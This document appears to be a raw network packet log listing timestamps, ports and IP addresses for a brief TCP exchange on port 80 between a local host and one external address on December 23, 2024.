Dec 23, 2024 07:16:09.631774902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.631787062 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.631819010 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.632519007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.632606983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.632622004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.632627964 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.632656097 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.633481979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.633573055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.633589029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.633645058 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.634439945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.634488106 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.634550095 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.634562016 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.634627104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.635462999 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647059917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647130966 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647145033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647160053 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.647188902 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.647365093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647419930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647433996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647445917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647478104 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.647524118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.647955894 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647969007 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647981882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.647994041 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648006916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648015022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.648019075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648051023 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.648062944 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.648792982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648807049 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648818970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648833036 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648844957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648854971 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.648859024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648871899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.648896933 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.649620056 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.649635077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.649646044 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.649657965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.649677038 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.649713993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.686940908 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687014103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687026024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687052011 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.687253952 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.687397957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687503099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687514067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.687560081 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.688373089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.688468933 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.688483000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.688522100 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.689348936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.689425945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.689443111 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.689483881 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.690296888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.690402031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.690413952 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.690481901 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.691270113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.691379070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.691397905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.691422939 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.692255974 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.692351103 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.692399979 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.756412029 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.756498098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.756544113 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.756620884 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.756885052 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.756927967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.756977081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.756995916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.757081032 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.757859945 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.757935047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.757946014 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.757972956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.758816957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.758892059 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.758922100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.758939981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.758975983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.759773970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.759869099 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.759880066 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.759907961 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.760750055 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.760802984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.760869026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.760880947 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.760914087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.761720896 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.761825085 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.761869907 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.814620018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.814666033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.814678907 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.814706087 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.814982891 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.815031052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.815069914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.815083027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.815119028 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.815937996 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.816015959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.816029072 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.816051960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.816874027 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.816927910 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.816956997 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.816971064 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.817008018 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.817886114 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.817975998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.817990065 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.818016052 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.818859100 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.818900108 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.818933010 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.818947077 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.818980932 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.820483923 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820502043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820517063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820539951 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.820734978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820772886 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.820839882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820854902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.820885897 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.822171926 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822187901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822201967 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822247982 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.822747946 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822772026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822784901 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.822793007 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.822834015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.823637962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.823729038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.823744059 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.823781967 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.824872971 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.824892998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.824908018 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.824928045 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.824949980 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.825586081 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.825707912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.825721979 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.825752020 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.826556921 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.826617002 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.826654911 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.826673031 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.826718092 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.827486038 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.827569962 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.827584028 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.827610970 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.828480005 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.828537941 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.828576088 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.828588963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.828634977 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.829442024 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.829514980 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.829528093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.829549074 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.830394983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.830452919 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.830493927 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.830513000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.830553055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.831341982 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.831475973 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.831490993 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.831521988 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.832346916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.832396030 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.832434893 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.832448959 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.832488060 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.833255053 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.833359003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.833367109 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.833399057 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.834239960 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.834284067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.834335089 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.834347963 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.834383965 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.835189104 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.878751993 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.879411936 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.879484892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.879503965 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.879551888 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.879870892 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.879923105 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.879968882 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.879982948 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.880026102 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.880841970 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.880934000 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.880956888 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.881012917 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.881814003 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.881872892 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.881911039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.881923914 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.881979942 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.882810116 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.882867098 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.882879019 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.882914066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.883820057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.883882046 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.883907080 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.883919954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.883960962 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.884723902 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.884804964 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.884848118 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.948769093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.948797941 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.948812008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.948959112 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.949215889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.949269056 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.949285984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.949297905 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.949333906 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.950103998 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.950242043 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.950254917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.950284004 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.951056004 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.951128960 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.951157093 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.951168060 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.951205015 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.952018023 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.952114105 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.952126026 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.952153921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.953002930 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.953042984 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.953102112 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.953114033 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.953149080 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:09.953955889 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.954127073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:09.954165936 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.006934881 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.006978035 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.006990910 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.007180929 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.007343054 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.007395983 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.007421017 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.007435083 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.007469893 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.008359909 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.008414984 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.008428097 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.008457899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.009258986 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.009316921 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.009363890 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.009380102 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.009427071 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.010236025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.010329008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.010343075 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.010382891 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.011208057 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.011259079 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.011290073 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.011301994 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.011347055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.012157917 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.012254953 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.012269020 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.012326956 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.013231039 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.013287067 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.013315916 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.013329983 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.013389111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.014152050 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.014180899 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.014195919 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.014225006 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.015048981 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.015104055 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.015132904 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.015151978 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.015217066 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.016045094 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.016119957 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.016133070 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.016163111 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.017100096 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.017139912 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.017153025 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.017165899 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.017196894 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.017973900 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.018054008 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.018066883 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.018099070 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.018917084 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.018970013 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.018995047 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.019010067 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.019047022 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.019885063 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.019979954 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.019992113 CET	80	49739	185.215.113.16	192.168.2.5
Dec 23, 2024 07:16:10.020025969 CET	49739	80	192.168.2.5	185.215.113.16
Dec 23, 2024 07:16:10.020862103 CET	80	49739	185.215.113.16	192.168.2.5
